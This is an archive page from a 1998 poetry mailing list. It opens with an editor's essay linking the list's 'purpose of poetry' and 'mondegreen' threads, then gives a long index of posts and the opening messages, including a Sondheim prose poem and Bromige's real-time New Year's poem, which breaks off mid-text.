One thousand and fifty-eight letters, the largest month in this archive, and the word Lewinsky does not occur in any of them. The story broke on the twenty-first and ran the year and ended in an impeachment, and the room mentions Clinton nine times, mostly in passing, and Starr four. I have stopped being surprised by this and started being interested in it, because what the list was doing instead, all January, was answering a question it had been asked on New Year's Day by somebody who had never posted before.

Bobbie West de-lurked on the first — blame Bromige, she said, he told her to stop lurking — and put a question a friend had put to her: *"What is the purpose of poetry?"* So how would you answer that? she asked, signing off as testing her new de-lurking device. Thirty-five letters. Judy Roitman opened tentatively, in fragments: *"Beauty? Expressive? As purpose/means?"* Hugh Steinberg offered a purpose — *"So that the world is not lost"*. Gwyn McVay proposed the best words in the best disorder. Somebody half-remembered a line of Cage's and admitted he had been asked for the citation and could not produce it, which by now is this room's signature move.

And then, on the second, JforJames typed a sentence with a slip in it. *"Poetry presupposes its own purpure"*, he wrote, meaning purpose, and the room fell on the typo like gulls. Bob Grumman got there first: *"Purpure--purer than purpose!"*, and told him not to back out of it. David Israel took it further into the nonsense — *"the purr of the puss = the purpose?"* — and further still the next day. The question was never answered. What happened instead is that the room found a mistake more interesting than the word it replaced, and kept it, and played with it for two days, and let the question go.

On the ninth Gwyn McVay gave them the name for what they had done, without appearing to notice that she was doing it. There is a word for song mishearings, she wrote: mondegreen. A girl heard a Scottish ballad as They hae slain the Earl of Morey / And Lady Mondegreen, and carried about with her ever after *"a vivid, touching picture of the two doomed noble lovers"* dying in each other's arms, until somebody told her the line was and laid him on the green. Eighteen letters came back with everybody's. Susan Schultz's mother heard *"I got a chicken to ride"*. Somebody heard Guantanamera as Guantanamero for years. McVay asked whether riding poultry was not exactly what they were all engaged in.

Here is what nobody said. The girl was Sylvia Wright; the essay is The Death of Lady Mondegreen; it ran in Harper's in November of 1954, not, as McVay has it, in a newspaper in the thirties. And Wright's point — the reason she needed a word at all — was that the mondegreen is better than the original. She knew the true line. She refused it. She would not leave the Earl to die alone. So: a woman asked this list on the first of January what poetry was for; the room answered with a typo it liked better than the word; and on the ninth another woman, misremembering the story of a mishearing, told them what a mishearing is worth. I have set the two threads together because they are one thread, and because nobody noticed that the question had been answered.

— Kristen M. Fabians

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306. David Gitin — Re: tom mandel cheering section
307. George Bowering — Re: Lady Mondegreen
308. dbkk — Under the Influence
309. Stephen Cope — NEW WRITING SERIES
310. Bob Grumman — Re: Whose Visual Poetics?

311. Robert Archambeau — Re: Whose Visual Poetics?
312. Miekal And — Whose Visual Poetics? Bern Porter's in 1959
313. Miekal And — Whose Visual Poetics? El Lissitzky's in 1923
314. Lawrence Upton. — Re: your move
315. Lawrence Upton. — Re: Whose Visual Poetics?
316. Miekal And — tight shoes & reckoning with the unknowable
317. Hank Lazer — Re: tom mandel cheering section
318. dw — O.ARS & Visual Poetry
319. Robert Hale — Re: Dylan
320. Safdie Joseph — Re: Dylan
321. William Marsh — Re: Dylan
322. Eryque Gleason — Re: Whose Visual Poetics?
323. Marjorie Perloff — Re: Whose Visual Poetics? Bern Porter's in 1959
324. Aldon Nielsen — Re: And Lady Mondegreen
325. Mark Weiss — Re: Dylan
326. pritchpa — Re: Dylan
327. Don Byrd — Dylan
328. David Zauhar — Re: Dylan
329. Miekal And — Re: Whose Visual Poetics? Bern Porter's in 1959
330. acgold01 — Panel chairs for 20C. Lit. Conference
331. r.drake — Re: Whose Visual Poetics?
332. Henry Gould — dylan or
333. Eryque Gleason — leaving off the g
334. Mark Prejsnar — Re: Whose Visual Poetics?
335. Don Byrd — Re: Dylan
336. Maria Damon — Re: Whose Visual Poetics? Bern Porter's in 1959
337. Maria Damon — Re: Dylan
338. Joshua N Schuster — Re: Dylan
339. robert drake — Re: Whose Visual Poetics?
340. Schuchat Simon — Re: Dylan
341. George Bowering — Re: dylan or

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342. Bob Grumman — Re: Whose Visual Poetics? Bern Porter's in 1959
343. Tom Orange — leaving off the g
344. joel lewis — f.y.i.
345. John Tranter — Rimbaud in Africa, reviewed
346. Laurie Schneider/Crag Hill — Visual Poetics
347. Thomas Bell — Re: Whose Visual Poetics? Verbal or visual?
348. Herb Levy — A mundane query
349. rsillima — Yo soy un hombre sincero
350. hen — Re: dylan or
351. Susan Wheeler — Digest
352. Mark Wallace — FRAME
353. rsillima — The narrative of understanding
354. Mark Prejsnar — Frame etc.
355. Eryque Gleason — Re: leaving off the g
356. dee morris — shameless self-promotion + Spicer's "No / one listens"
357. Mark Prejsnar — Re: The narrative of understanding
358. David Kellogg — Re: FRAME
359. Miekal And — Whose Visual Poetics? Marjorie Perloff's in 1998
360. Douglas Barbour — Re: Don Byrd's query
361. robert drake — Re: Whose Visual Poetics?
362. Jacques Debrot — Re: FRAME
363. Miekal And — Whose Visual Poetics? Miekal And's in 1984
364. Matthew Hart — Re: Yo soy un hombre sincero

365. Eryque Gleason — Re: Visual Poetics
366. Jacques Debrot — Re: Frame
367. Jordan Davis — Re: Whose Visual Poetics?
368. aerialedge — Re: shameless self-promotion + Spicer's "No / one listens"
369. Robert Hale — FRAME & AERIAL
370. William Marsh — Re: Whose Visual Poetics? Verbal or visual?
371. Bob Grumman — Re: Whose Visual Poetics?
372. Joshua N Schuster — unpacking someone else's library
373. Brian McHale — Re: Dylan
374. r.drake — Re: Whose Visual Poetics?
375. louis stroffolino — Re: dylan or
376. Gwyn McVay — Hale, Fuller on FRAME
377. henry — Re: Whose Visual Poetics? Verbal or visual?
378. William Burmeister Prod — Byrd/Pritchett query: _Loose Sugar_
379. Kali Tal — Poets & Musicians Sound Out Against Police Brutality
380. Mark Prejsnar — new Tom Beckett
381. Michael Magee — Re: unpacking someone else's library
382. eric blarnes — Re: Hale, Fuller on FRAME
383. Bob Grumman — Re: Whose Visual Poetics? Verbal or visual?
384. Bob Grumman — Re: Whose Visual Poetics? Verbal or visual?
385. Bob Grumman — Re: Whose Visual Poetics? Verbal or visual?
386. Susan E. Dunn — vizpo, langpo & the zimmerman conference
387. Jordan Davis — duping someone else's mix tape
388. Miekal And — <A HREF="expectations for hypertext in 1974">
389. d powell — Re: Dylan, since you brought it up
390. Lawrence Upton. — Re: Strange,Ron, how we got to be the old guys
391. William Burmeister Prod — Re: Whose Visual Poetics? Verbal or visual?
392. David Kellogg — Re: Strange,Ron, how we got to be the old guys
393. pritchpa — Re: Byrd/Pritchett query: _Loose Sugar_
394. William Burmeister Prod — Re: vizpo, langpo & the zimmerman conference
395. KENT JOHNSON — Barrett, William, Jordan, Ron, Mark, Lyn, Michael, Allen, Joan,
396. david bromige — (antilangpo?) stunned. very stunned. (ringo)
397. Harold Rhenisch — Visual Poetics? Dylan?
398. Don Byrd — Strange,Ron, how we got to be the old guys
399. david bromige — strange. very strange.
400. Bob Grumman — Re: Whose Visual Poetics? Verbal or visual?
401. Bob Grumman — Re: vizpo, langpo & the zimmerman conference
402. Bob Grumman — Re: vizpo, langpo & the zimmerman conference
403. David Kellogg — Re: Barrett, William, Jordan, Ron, Mark, Lyn, Michael, Allen, Joan,

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404. louis stroffolino — Re: LOOSE SUGAR 2nite in my tea
405. Tom Mandel — from another era....
406. Thomas Bell — Re: vizpo, langpo & a fit of nostalgia
407. david bromige — kent's memory
408. Miekal And — Re: Whose Visual Poetics? Abraham Lincoln Gillespie (1895-1950)
409. henry gould — Re: Strange,Ron, how we got to be the old guys
410. Alan Myouka Sondheim — Re: Strange,Ron, how we got to be the old guys
411. Bob Grumman — Re: Whose Visual Poetics?
412. Bob Grumman — Re: Visual Poetics
413. KENT JOHNSON — Re: kent's memory
414. Jordan Davis — Rubber takes a beating
415. Miekal And — Whose Visual Poetics? Post Millenium Netizens
416. Tom Mandel — forging and feel?
417. Michael Coffey — schuster/dylan -Reply
418. Miekal And — [Fwd: Re: Whose Visual Poetics?..... What is.....?]

419. Tom Mandel — dylan vs. poetry
420. Tom Mandel — schuster/dylan
421. KENT JOHNSON — Evil Foster/Postmodern Culture
422. Kasey Silem Mohammad Hicks — Re: dylan vs. poetry
423. KENT JOHNSON — Evil Sourmash
424. david bromige — kent not drunk last night
425. Carl Lynden Peters — Re: Whose Visual Poetics? : bill bissett
426. Miekal And — Re: So tell Bromide and me what we should fear
427. DANIEL L. COLLIER — Re: Whose Visual Poetics?
428. Michael Magee — Re: Evil Foster/Postmodern Culture
429. Jack Spandrift — Re: schuster/dylan -Reply
430. Safdie Joseph — Post Postmodernism
431. Cadaly — Visual Poetry at LACMA
432. LAURA MORIARTY — Saturday readings
433. Bob Grumman — Re: Whose Vispo?
434. Aldon Nielsen — Re: Dylan
435. Henry Gould — Re: Post Postmodernism
436. David Zauhar — Re: schuster/dylan -Reply
437. hen — Re: schuster/dylan -Reply
438. Aldon Nielsen — Re: C.L.R. James
439. MAYHEW — History of Modern Poetry
440. Aldon Nielsen — film etc.
441. Robin Morris — Re: schuster/dylan -Reply
442. Cadaly — Re: Jong
443. Michael Coffey — Re: schuster/dylan -Reply -Reply
444. David Zauhar — Re: schuster/dylan -Reply
445. Bob Grumman — Re: Freedom of Speech
446. rsillima — The Strangeness of Kinders
447. CharSSmith — Re: PhillyTalks #3
448. Susan Schultz — Re: schuster/dylan -Reply
449. Joe Amato/Kass Fleisher — Re: dylan vs. poetry
450. Heather Starr — Re: (antilangpo?) stunned. very stunned. (ringo)
451. Don Byrd — Re: dylan vs. poetry
452. Jack Spandrift — Re: schuster/dylan -Reply -Reply
453. Don Byrd — So tell Bromige and me what we should hear
454. Rachel Loden — FYI (baby poet maudit alert)
455. Henry Gould — Re: dylan vs. poetry
456. Steve Shoemaker — Re: dylan vs. poetry

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457. George Bowering — Re: (antilangpo?) stunned. very stunned. (ringo)
458. Louis Cabri — histories
459. david bromige — dullard brutes of langpo
460. Miekal And — Re: Whose Visual Poetics? The Intergalactic Hypertext Time Machine
461. Susan Wheeler — Digest -- Coffey/Marcus/Dylan
462. Jordan Davis — Re: FYI (baby poet maudit alert)
463. Mark Prejsnar — Re: Freedom of Speech
464. Alan Myouka Sondheim — Christine Tamblyn
465. Michael Magee — Re: dullard brutes of langpo
466. Mark Prejsnar — Re: schuster/dylan -Reply
467. Mark Prejsnar — Re: FYI (baby poet maudit alert)
468. Mark Prejsnar — Re: dullard brutes of langpo
469. Elizabeth Hatmaker — Re: dylan vs. poetry
470. Bob Grumman — Re: Whose Visual Poetics?
471. William Shakespeare — Re: dullard brutes of langpo
472. Bob Grumman — Re: (antilangpo?) stunned. very stunned. (ringo)

473. DANIEL L. COLLIER — Re: Whose Visual Poetics?
474. Douglas Barbour — Re: talking about poetry rather than 'just' Dylan
475. Fred Muratori — Re: schuster/dylan -Reply
476. Fred Muratori — Langpocomics
477. d powell — Re: dylan vs. poetry
478. d powell — Re: Whose Visual Poetics?
479. Harold Rhenisch — Expression/Self-Expression
480. hen — Re: dullard brutes of langpo
481. Matthew Stadler — Re: FYI (baby poet maudit alert)
482. Eryque Gleason — Re: (antilangpo?) stunned. very ...
483. david bromige — [redacted] deliberately omitted
484. d powell — Re: Saturday readings
485. Thomas Bell — Re: FYI (baby poet maudit alert)
486. Thomas Bell — Re: Whose Visual Poetics?
487. david bromige — dylan/poetry
488. DANIEL L. COLLIER — Re: dylan vs. poetry
489. William Burmeister Prod — Re: dylan vs. poetry
490. KENT JOHNSON — Some questions for Don Byrd
491. Bob Grumman — Re: Whose Visual Poetics?
492. David Benedetti — Re: Dylan not vs. poetry
493. Bob Grumman — Re: Expression/Self-Expression
494. Christina Fairbank Chirot — Re: Whose Visual Poetics?
495. d powell — Re: what is bad poetry?
496. Christina Fairbank Chirot — Re: Whose Visual Poetics? (fwd)
497. Miekal And — address?
498. Jimi — Re: dylan vs. poetry
499. Jimi — Re: Dylan not vs. poetry
500. david bromige — bad poetry
501. david bromige — funny poets
502. Rachel Loden — Re: FYI (baby poet maudit alert)
503. Maz881 — barratt's beauty
504. Safdie Joseph — Re: dullard brutes of langpo
505. William Marsh — Re: Whose Visual Poetics? Verbal or visual?
506. Bob Grumman — Defining Visual Poetry
507. Harold Rhenisch — Re: Whose Visual Poetics?

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508. Joe Ahearn — Re: Dylan not vs. poetry
509. Don Byrd — Re: Some questions for Don Byrd
510. Schuchat Simon — milieu etc
511. Jordan Davis — Some problems in discourse
512. Douglas Barbour — Re: Byrd on Clarke etc
513. groberts — squib miscellany
514. Daniel Zimmerman — Re: Lady Mondegreen
515. pollet — icestorm poetics
516. MillettiC — Juliana Spahr
517. Don Byrd — Re: Garbled Citations

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518. Harold Rhenisch — Re: Expression/Self-Expression
519. MARK LEAHY — readerly consumption
520. Michael Magee — Re: Dylan not vs. poetry
521. Miekal And — [Fwd: Re: RHIZOME_RAW: Live on the Poetics List: Whose Visual Poetics?]
522. Tom Mandel — A miscellany, or I can't keep up.
523. Tom Mandel — Joe on Barry
524. Tom Mandel — pointless at best
525. Tom Mandel — Oy and more on language poetry

526. Steven Marks — talking about poetry; and time
527. Tom Mandel — Ah, human weakness
528. Franklin Bruno — Chester Hennix, what was read in '97
529. Bob Grumman — Re: Expression/Self-Expression
530. Laurie Schneider/Crag Hill — Has anyone else read Strabismus?
531. Miekal And — povispo? squibble misc
532. Don Byrd — Re: Chester Hennix, what was read in '97
533. Don Byrd — Re: Chester Hennix,

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534. nico vassilakis — NEW HARRY SMITH Book
535. David R. Israel — Hughes & Plath
536. Bob Grumman — Re: povispo? squibble misc
537. Harold Rhenisch — Re: Expression/Self-Expression
538. Rachel Loden — Hughes v Plath
539. Miekal And — Ice Fishing in Wisconsin School of Poetry
540. Jacques Debrot — Re: Burning Deck
541. Michael Magee — Re: Hughes & Plath
542. Harold Rhenisch — Re: Ice Fishing in Wisconsin School of Poetry
543. Jacques Debrot — Oy . . . Langpo
544. Michael Magee — Re: Oy . . . Langpo
545. Douglas Barbour — Re: Mandel's online thinking
546. Miekal And — Whose Visual Poetics? Global mimesis
547. Miekal And — [Fwd:] THE III INTERNATIONAL EXHIBITION OF VISUAL >POETRY
548. KENT JOHNSON — The Catskill School of Poetry
549. Dale Smith — Langpods
550. Marcella Durand — Re: Expression/Self-Expression
551. groberts — Re: Ice Fishing in Wisconsin School of Poetry
552. Michael Magee — Re: Langpods
553. Jacques Debrot — Re: Langpods
554. d powell — Re: Langpods
555. William Marsh — Movement:movement
556. David Zauhar — Re: Ice Fishing in Wisconsin School of Poetry
557. Gwyn McVay — 2 counterexamples
558. Jo Ann Blevins — Lisa Jarnot
559. Jordan Davis — Mandalas / cathedrals / insects / thieves
560. Charles Bernstein — msg from Paul Zukofsky
561. KENT JOHNSON — Re: Mandalas / cathedrals / insects / thieves
562. Michael Magee — Re: Langpods
563. Hank Lazer — Re: Dylan, Visual Poetics, & Jake Berry
564. Dale Smith — Re: Langpods
565. Harold Rhenisch — Re: Mandalas / cathedrals / insects / thieves
566. David Kellogg — Re: Langpods/Word to your Mother
567. Daniel Zimmerman — Re: Mandalas / cathedrals / insects / thieves
568. d powell — Re: Bad Poetry
569. pritchpa — Re: Mandalas / cathedrals / insects / thieves
570. Henry Gould — Re: Mandalas / cathedrals / insects / thieves
571. Maria Damon — reading thread
572. Maria Damon — mla reports?
573. Bob Grumman — Re: Dylan, Visual Poetics, & Jake Berry
574. Dale Smith — Langpods & the "Material Text"
575. J. Kuszai — Re: Langpods & the "Material Text"
576. Pierre Joris — Re: The Catskill School of Poetry

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577. George Bowering — Re: Lisa Jarnot
578. dbkk — List member in the news

579. Dean A. Brink — Re: Hughes v Plath
580. Steve Evans — The New (was Oy . . . Langpo)
581. George Bowering — Re: Ice Fishing in Wisconsin School of Poetry
582. david bromige — dullard brutes
583. david bromige — The New (& how to help it along)
584. cris cheek — Re: The New (was Oy . . . Langpo)
585. david bromige — p s to The New, etc
586. Pierre Joris — The News
587. rsillima — Ol' langpod here
588. Harold Rhenisch — Re: The New (& how to help it along)
589. Jacques Debrot — Re: DIASTEXT, etc.
590. Henry — Re: p s to The New, etc
591. Susan Wheeler — Re: POETICS Digest - 18 Jan 1998 to 19 Jan 1998
592. robert drake — Re: The New (was Oy . . . Langpo)
593. Maria Damon — Re: The New (was Oy . . . Langpo)
594. Maria Damon — it's *creeley* you dope
595. Gwyn McVay — Re: Langpods & the "Material Text"
596. Miekal And — Re: Uh...New?
597. KENT JOHNSON — Missing "e"'s
598. Miekal And — kenning
599. Mark Prejsnar — Re: [redacted] deliberately omitted
600. Suzanne Burns — Re: Hughes & Plath
601. Suzanne Burns — Re: Hughes v Plath
602. Dale Smith — Uh...New?
603. pritchpa — Re: Mandalas / cathedrals / insects / thieves
604. Fred Muratori — Re: Hughes & Plath
605. David R. Israel — found poem
606. Mark Prejsnar — Re: Has anyone else read Strabismus?
607. KENT JOHNSON — Re: Hughes & Plath
608. William Marsh — Re: Missing "e"'s
609. p. durgin — ad. req. -- Jarnot
610. Chris Sawyer — Re: The New (was Oy . . . Langpo)
611. JBCM2 — Re: Uh...New?
612. Don Byrd — Re: The New (& how to help it along)
613. pritchpa — FW: The Catskill School of Poetry
614. Aldon Nielsen — Re: Digest -- Coffey/Marcus/Dylan/etc
615. pritchpa — Re: Hughes & Plath
616. Aldon Nielsen — Re: dylan vs. poetry
617. Joe Amato/Kass Fleisher — Re: Uh...New?
618. d powell — Re: Missing "e"'s
619. Suzanne Burns — Re: Hughes & Plath
620. Aldon Nielsen — Re: List member in the news
621. Gary Sullivan — Some "New" Poets
622. Suzanne Burns — Re: Hughes & Plath
623. Tom Orange — Oy . . . (post)langpo
624. James Brook — reclaiming sf / shaping sf release parties
625. Maz881 — Re: Langpods & the "Material Text"
626. Gwyn McVay — Re: Missing "e"'s
627. p. durgin — Re: kenning
628. William Burmeister Prod — Re: dylan vs. poetry
629. William Burmeister Prod — Re: kenning
630. William Burmeister Prod — Re: Oy . . . (post)langpo
631. CharSSmith — Re: Oy . . . (post)langpo
632. david bromige — The New (& how to help it along)
633. Safdie Joseph — Re: Oy and more on language poetry
634. Pierre Joris — Re: Oy . . . (post)langpo

635. J. Kuszai — running smack

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636. John Tranter — nasty animals
637. Franklin Bruno — a squint at strabismus
638. rsillima — Various
639. Miekal And — Best New Poet Club
640. Annie Finch — Spenser, Jarnot, Hightower
641. Michael Magee — Re: nasty animals
642. Miekal And — Surveillance
643. Fred Muratori — Re: Missing "e"'s
644. Rachel Loden — Re: Some "New" Poets
645. Fred Muratori — Re: Missing "e"'s
646. sylvester pollet — Concrete New Yorker?
647. Dale Smith — Detail and Concept
648. Mark Wallace — "actually new"
649. Miekal And — Re: you poets! (yard sales)
650. KENT JOHNSON — Jim Hightower
651. Graham W Foust — wanna be
652. J. Kuszai — vine ripened
653. David Kellogg — Re: "actually new"
654. Tom Mandel — yard sales
655. Ben Carrelis — a new poet
656. DANIEL L. COLLIER — Re: Ice Fishing in Wisconson School of Poetry
657. Miekal And — Re: Best New Poet Club
658. Gary Sullivan — Re: Some "New" Poets
659. cris cheek — Re: scoured grapes
660. david bromige — you poets! (yard sales)
661. david bromige — wanna be (kudos for foust)
662. d powell — Re: The New (& how to help it along)
663. louis stroffolino — Re: Missing "e"'s
664. d powell — Re: Some "New" Poets
665. Henry Gould — Re: Spenser, Jarnot, Hightower
666. Dale M Smith — Re: scoured grapes
667. Jordan Davis — Who Katy Lederer is
668. Don Cheney — Re: you poets! (yard sales)
669. sylvester pollet — Re: Best New Poet Club
670. Dale M Smith — wanna be (kudos for foust)
671. bertha — Catskill poets
672. Gary Sullivan — Re: Who Katy Lederer is
673. david bromige — dale smith reading Langpo--forwarded, because misaddressed originally. Ther…
674. Jordan Davis — Meow (carrying on in public)
675. KENT JOHNSON — Hurrahs all around
676. k. lederer — Re: Who Katy Lederer is
677. Pam Brown — THE newest
678. Ben Carrelis — Re: THE newest
679. Henry Gould — generation underwear
680. Henry Gould — very quick 2nd thought
681. R. Gancie — sex sex sex gross and levitt's sokalled reasoned discourse
682. robert drake — Re: jam (packed)… headcount=200+ (fwd)
683. Pam Brown — Re: THE newest

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684. John Tranter — Lisa Jarnot poems available in Jacket
685. david bromige — KATHA POLLIT, POINT OF INTEREST
686. Don Byrd — Mark Wallace and the Question of the New

687. Miekal And — A Pothole Named Copernicus
688. Miekal And — [Fwd: Re: fly problem]
689. KENT JOHNSON — Re: Beneath me
690. KENT JOHNSON — Re: generation underwear
691. Tom Mandel — Beneath me
692. Gary Sullivan — Re: Meow (carrying on in public)
693. Tom Mandel — Marty Ehrlich
694. KENT JOHNSON — Re: Marty Ehrlich
695. Dale M Smith — What evil lurks
696. KENT JOHNSON — Re: Infamous spellings
697. MAYHEW — Infamous spellings
698. Gwyn McVay — Re: Hurrahs all around
699. David Gitin — Re: Marty Ehrlich (for Don Byrd and Tom Mandel)
700. Miekal And — [Fwd: RHIZOME_RAW: Live on the Poetics List: Whose Visual Poetics?]
701. Bob Grumman — The Perloff Vizpo Seminar
702. Jordan Davis — Clonetinian era
703. Miekal And — stacy doris address?
704. Gary Sullivan — Re: Surveillance
705. Gwyn McVay — Re: The Perloff Vizpo Seminar
706. Don Byrd — Re: Marty Ehrlich
707. Mark Weiss — (no subject)
708. Jacques Debrot — Re: "actually new"
709. Aldon Nielsen — Re: Ron Ron
710. Aldon Nielsen — Re: scoured grapes
711. david bromige — tom mandel on a par with yard sales
712. Bob Grumman — Re: The Perloff Vizpo Seminar
713. Aldon Nielsen — Los Angeles Reading
714. Jacques Debrot — Re: French disease
715. John Cayley — DIASTEXT, etc.
716. Miekal And — Re: bill bissett reads at SFU Monday, Jan. 26; Special Collections displays wo…
717. Don Byrd — Re: Marty Ehrlich
718. Steve Evans — the new don ron don the new don ron
719. Jordan Davis — hooey
720. Dale M Smith — Re: scoured grapes
721. KENT JOHNSON — The lost tampon
722. cris cheek — Re: scoured grapes
723. Mark Weiss — Re: the new don ron don the new don ron
724. Charles Watts — bill bissett reads at SFU Monday, Jan. 26; Special Collections displays wor…
725. Robert Zamsky — Re: The lost tampon
726. Tenney Nathanson — Re: Who Katy Lederer is
727. Graham W Foust — the age of wire and string
728. Thomas Bell — Re: tail wags dog?
729. Steven Marks — Review of Age of Wire and String

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730. groberts — To the Historian of My New Poet
731. George Bowering — Re: Infamous spellings
732. Don Byrd — Re: the new don ron don the new don ron
733. henry gould — Re: the new don ron don the new don ron
734. Tom Mandel — bourbon
735. Mark Prejsnar — Re: French disease
736. Mark Prejsnar — Re: the new don ron don the new don ron
737. Henry Gould — Re: the new don ron don the new don ron
738. David Zauhar — Re: the new don ron don the new don ron

739. Mark Prejsnar — Re: the new don ron don the new don ron
740. Joe Amato/Kass Fleisher — Re: the new don ron don the new don ron
741. Bob Grumman — Re: tail wags dog?
742. d powell — Re: The lost tampon
743. hen — Re: the new don ron don the new don ron
744. Robert J Tiess — Book-length Poetry Publishers
745. Gary Sullivan — Response to Don's Post
746. Christina Fairbank Chirot — Re: Wave length
747. KENT JOHNSON — Re: Wave length
748. k. lederer — Re: The new as per young and old... loneliness... Dale Smith
749. Henry Gould — Re: Wave length
750. KENT JOHNSON — Plagiarism
751. KENT JOHNSON — Length, without wave
752. Jacques Debrot — Re: Weiners, Ceravolo, et al
753. Safdie Joseph — Re: The new; Dale; langpo; tradition
754. KENT JOHNSON — Bernstein's Viz Po
755. Bob Grumman — Re: vizzipo seman R
756. R M Daley — barthesian glory
757. William R. Howe — Re: vizzipo seman R
758. RaeA100900 — address for Charles B.
759. Herb Levy — Re: Nancarrow/Oppen?
760. Herb Levy — Re: Bernstein's Viz Po
761. Henry Gould — fri. night Poetry Wars
762. Schuchat Simon — Re: Weiners, Ceravolo, et al
763. Bob Grumman — Re: Bernstein's Viz Po
764. David Gitin — Re: Nancarrow/Oppen?
765. David R. Israel — (Fwd) postmodernism & Jenny Jones

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766. robert drake — Re: fri. night Poetry Wars
767. J. Kuszai — noise channel surf boy stink bomb
768. groberts — Digging my own grave
769. Miekal And — < noise channel> goat boy compost typography
770. louis stroffolino — Re: "actually new"
771. Bob Grumman — Re: The Perloff Seminar
772. Karen Kelley — (no subject)
773. KENT JOHNSON — The Key Club [or: The Museum]
774. J. Kuszai — My Bob Grumman
775. Henry — Re: fri. night Poetry Wars
776. Nuyopoman — Wieners as PerfPo
777. Joe Ahearn — Re: fri. night Poetry Wars

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778. robert drake — Re: Wieners as PerfPo
779. Kevin Varrone — Philly Readings
780. Jordan Davis — Allied Colloids
781. david bromige — pre-emptive hiccup
782. david bromige — p s
783. david bromige — how grants shape books
784. david bromige — p s
785. Miekal And — Re: texas poetry listserv
786. bertha — Re: how grants shape books
787. KENT JOHNSON — Gladstone here
788. KENT JOHNSON — Re: texas poetry listserv
789. Tim Wood — texas poetry listserv
790. KENT JOHNSON — Re: texas poetry listserv
791. Bob Grumman — Re: the Perloff Seminar

792. Tim Wood — Re: texas poetry listserv
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794. robert drake — news that stays news...
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1. Alan Myouka Sondheim
"saying 'girl'"
Thu 1 Jan 1998

=

"saying 'girl'"

saying "something" about writing, writing the "something" which turns _in a manner of speaking_ into something, which you might hear sounding out the antecedent of the word to your virtual self, although not the obdurate quality of the grain of the voice certainly, but "something" that you had processed, constituted (without image or sound, without text or reference) by virtue of a _textual disposition_ as a result of cultural capital (for example), not to mention processing something which might be interpreted through the signifier "something" dependent on its interpretation in the first and last place ... saying "girl" about writing, writing the "girl" which turns _in a manner of speaking_ into girl, which you might hear sounding out the antecedent of the word to your virtual self, although not the obdurate quality of the grain of the voice certainly, but "girl" that you had processed, constituted (without image or sound, without text or reference) by virtue of a _textual disposition_ as a result of cultural capital (for example), not to mention processing girl which might be interpreted through the signifier "girl" dependent on its interpretation in the first and last place ... saying "children of the apocalypse" about writing, writing the "children of the apocalypse" which turns _in a manner of speaking_ into children of the apocalypse, which you might hear sound- ing out the antecedent of the word to your virtual self, although not the obdurate quality of the grain of the voice certainly, but "children of the apocalypse" that you had processed, constituted (without image or sound, without text or reference) by virtue of a _textual disposition_ as a res- ult of cultural capital (for example), not to mention processing children of the apocalypse which might be interpreted through the signifier "child- ren of the apocalypse" dependent on its interpretation in the first and last place ...

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2. Maria Damon
Re: testing..1,2,3,
Thu 1 Jan 1998

At 12:18 PM -0500 12/31/97, Mark Prejsnar wrote:
>Is it just that everyone out there has a life (horrid thought..)
>
>Or has the List shut down in some catastrophic way (or was it all just a

>dream?)? Or is it all just a technical problem on my end (which is like a
>dream, only more complicated)?
>
>Haven't seen a post in over 24 hours..
>
>Mark P.

ah, the freedom of having been listless for 24 hrs...--happy 1998 everyone

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3. Maria Damon

Re: testing..1,2,3,

Thu 1 Jan 1998

---

pat, i don;t have an answer abt the fibonacci poems, but cd i get that threading pattern from yr mother? thanks a million. md

At 3:28 PM -0600 12/31/97, pritchpa wrote:
>Sounds lonely, Mark - but it's just as lonely here in Boulder. Like
>those post-apocalypse movies where stranded islets of humanity cluster
>around their ham radios, sounding their pathetic refrain, Hello is
>anyone out there? amid long stretches of unnerving static.
>
>But since you posted, I'll ask - has the newest ish of Misc. Proj. gone
>out yet?
>
>And a more general query for Ron Silliman or anyone else: in which book
>of Ron's can I find the poem based on the Fibonacci series? Is it called
>"Fibonacci Series"? Or something else? You see, my mother handwove me a
>rayon chenille opera-length scarf this Xmas and the thread pattern is
>based on the Fibonacci series. It's quite the most beautiful thing, both
>to look at and wear. I shall wear it out tonight, ignorant of its
>intricacy, yet delighting in it all the same.
>
>Calling all stations, but not expecting an answer -
>Patrick Pritchett
> ----------
>From: Mark Prejsnar
>To: [redacted]
>Subject: testing..1,2,3,
>Date: Wednesday, December 31, 1997 11:18AM
>
>Is it just that everyone out there has a life (horrid thought..)

>
>Or has the List shut down in some catastrophic way (or was it all just a
>dream?)? Or is it all just a technical problem on my end (which is like
>a
>dream, only more complicated)?
>
>Haven't seen a post in over 24 hours..
>
>Mark P.

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4. david bromige

new years eve poem

Thu 1 Jan 1998

NEW YEARS EVE

[This is a real-time piece, if you read it fast. You should arrive at the inbuilt markers on time, except at the end, which should run about 20 seconds over. One moral purpose of this piece, which I read at the "First Night" celebrations in Santa Rosa last night, failed miserab ly, as a subsequent reader went on and on for 11 minutes. Poets!]

I have five minutes to read in. That's not very long, although it is 300 seconds. Memory has to come into it. You have to remember how long a second is. We're going to welcome 1998 to all 4 time zones. You count back from ten on New Years Eve and you do it in a crowd. You count back from 100 going under anesthetic and you do it alone. But you usually don't get any further than 97. The story of how a second got to be as long as it is is most interesting, but I'm afraid we won't have time for that right now. Let's just say that a second occurs more often than a blue moon. Yet one second is long enough to see you standing alone. Is one not surpisingly enough never in the second as it moves, where "is" means attentive to, just that the prior seconds are still processing? So each second of the second hand is secondhand. They cluster, grapes on the vine, except one can't pick and choose. Not that I want to get stuck in the second. There are smaller units of time, and there are much larger ones, for example the minute. These everyday measures, minutes, seconds, even hours, we take so lightly, carelessly, speak of so glibly. I've probably been talking for a minute, or you have, if you're reading this and not hearing me say it at a poetry reading. Should this be being said, at a reading of poetry? That would mean this is a poem, instead of a talk on time. Or that there'd been an error of some kind. But back then about three lines of prose, I guessed that a minute had gone by, since I started making these words do what they wanted me to do with them. That's

glib, but I haven't enough time to be consistently careful, if a minute had gone by back then, probably another half a minute has gotten back to town by now, which means a minute and a half of my allotment has been used up already, or 3/10ths, almost one third. Probably by now one-third of the time has, had passed. Not that we see time pass, not customarily. Down in the boondocks, perhaps. But usually we don't see time pass, since we pass with it. It is us, isn't it? Who else could see a tree grow in the middle of the forest, cut it down, slice it open, count its rings, register its age? We nouns are really verbs. Doo-wah diddy diddy dum diddy doo, there can't be more than 3 minutes left. If I make a five-minute span equal to an average lifetime, though, I am only thirty, though, at this moment. The duration of a moment is not as fixed as that of a second or a minute. We don't make clocks that tick off the moments. Some moments appear to last forever. What is a moment? it is a brief lapse. A trice. A jiffy. An instant. In a moment something momentous might take place, although time is not a measure of space. It might be an historical era, it might be a second. Second is to come next, after the first. A heartbeat now because there was one just then. Musically, a second can be an interval, but then what ends the interval but a note, and that note might last a second. Or longer. Music orders 